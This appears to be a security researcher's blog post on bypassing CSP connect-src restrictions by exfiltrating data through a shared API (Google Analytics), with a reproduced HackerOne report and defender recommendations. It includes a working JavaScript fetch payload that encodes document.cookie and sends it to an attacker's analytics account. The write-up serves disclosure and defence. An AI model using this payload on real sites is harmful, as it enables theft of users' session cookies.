All Articles

Exfiltrating Past CSP Directives

Recently I’ve been looking at CSP headers, which are a great way to harden sites against XSS attacks. To me, CSPs serve two purposes:

  1. they prevent XSS/make XSS much harder through the script-* directives by limiting how and what code is allowed to be executed.
  2. they limit exfiltration in case of an XSS through the various other directives (e.g. connect-src, img-src, media-src, etc.)

In this post I want to share just one way to bypass the second purpose and how I demo-ed it on HackerOne.

Specifically, I found it interesting how we can pretty easily bypass this restriction through the use of “shared” third-party domains. By shared third party domains, I mean domains that offer some sort of shared API that is used as the endpoint by multiple organizations. As an attacker, you would use the API as intended except with your own set of credentials, exfiltrating data into your own tenant account instead.

Big Disclaimer: this whole attack assumes you already have XSS access in the victim browser tab through some other means AND that the site is actually using CSPs in the first place. For most sites, this would be considered a very low risk, so it’s probably not worth reporting. At least in the current times.

Exfiltrating on HackerOne via Google Analytics

Google Analytics is a great target to be used for exfiltration: it’s a common third party API which you’ll find on many websites, offers free signups, and allows free-text input and output. Meaning that it costs very little for an attacker to get set up, as well that I can use them as a way to store and fetch data (albeit with some hassle).

When researching this attack, I went looking for a site as an experiment / proof of concept. HackerOne proved a good example as they already have very strong CSP headers, with only few domains being exposed by the *-src-related directives. One of these domains was Google Analytics, so I wanted to see if this kind of attack could be done in practice.

Because I’m lazy, below is the report I sent in to HackerOne, which I think describes the potential vulnerability here. It was closed as Informative, which I consider fair given the low risk (you would have to have some sort of XSS-like vulnerability anyway).

HackerOne Report

Summary: The www.google-analytics.com statement in the connect-src CSP directive allows for data exfiltration, assuming an attacker has script-level access in a victim’s browser session (e.g. via XSS)

Description: HackerOne uses the following CSP connect-src directive to restrict outgoing communication via script (i.e. XHR)

connect-src 'self' www.google-analytics.com errors.hackerone.net;

As www.google-analytics.com is practically a shared API, it can be used as a means of exfiltrating data past this CSP restriction. An attacker can use their own GA API tokens to call GA from the HackerOne domain.

Steps To Reproduce

  1. Register your own google-analytics account. Set up a site (I did mine many moons ago, so I don’t remember the details, sorry) and copy your Tracking ID (tid).
  2. On Google Analytics, open the Real Time -> Events page to monitor for incoming events. This is where the exfiltrated data will arrive.
  3. In a new tab or browser, open hackerone.com and then run the following script in the console. It will send an event to GA using some free-text fields to transport the exfiltrated data.
var data = document.domain + '-' + btoa(document.cookie) // whatever you want to exfil
var tid = 'UA-13371337-1' // replace with your own google-analytics tid

await fetch(
    `https://www.google-analytics.com/j/collect?v=1&t=event&ec=exfil&ea=exfil&el=${encodeURIComponent(
        data
    )}&dt=exfil%2F${encodeURIComponent(
        data
    )}&cid=1337&ds=web&de=UTF-8&tid=${tid}`,
    {
        credentials: 'omit',
        headers: {
            'User-Agent':
                'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
            Accept: '*/*',
            'Accept-Language': 'en-US,en;q=0.5',
            'Content-Type': 'text/plain',
            'Alt-Used': 'www.google-analytics.com',
        },
        method: 'POST',
        mode: 'no-cors',
    }
)
  1. Wait for event to popup in real-time console. Read exfiltrated data of the “Event Label”.

Demo

Here is a demonstration of the attack carried out on HackerOne (click here for the fullsize version). Gif demonstration of using Google Analytics to exfiltrate data

Recommendations

Mainly aimed towards defenders:

  • Don’t let this discourage you from using CSPs. CSP are still generally awesome for preventing XSS.
  • Opening up CSPs towards a third party domain should be considered a risk if it’s a shared API.
  • You can potentially mitigate said risk by creating a proxy API, binding to only your keys.
  • If you yourself are hosting a third party domain, consider offering tenant-specific subdomains to help customers better restrict their directives, i.e. <org>.sentry.com (yes, sentry is another good tool for exfil)

References

Bonus meme

i blame ctfs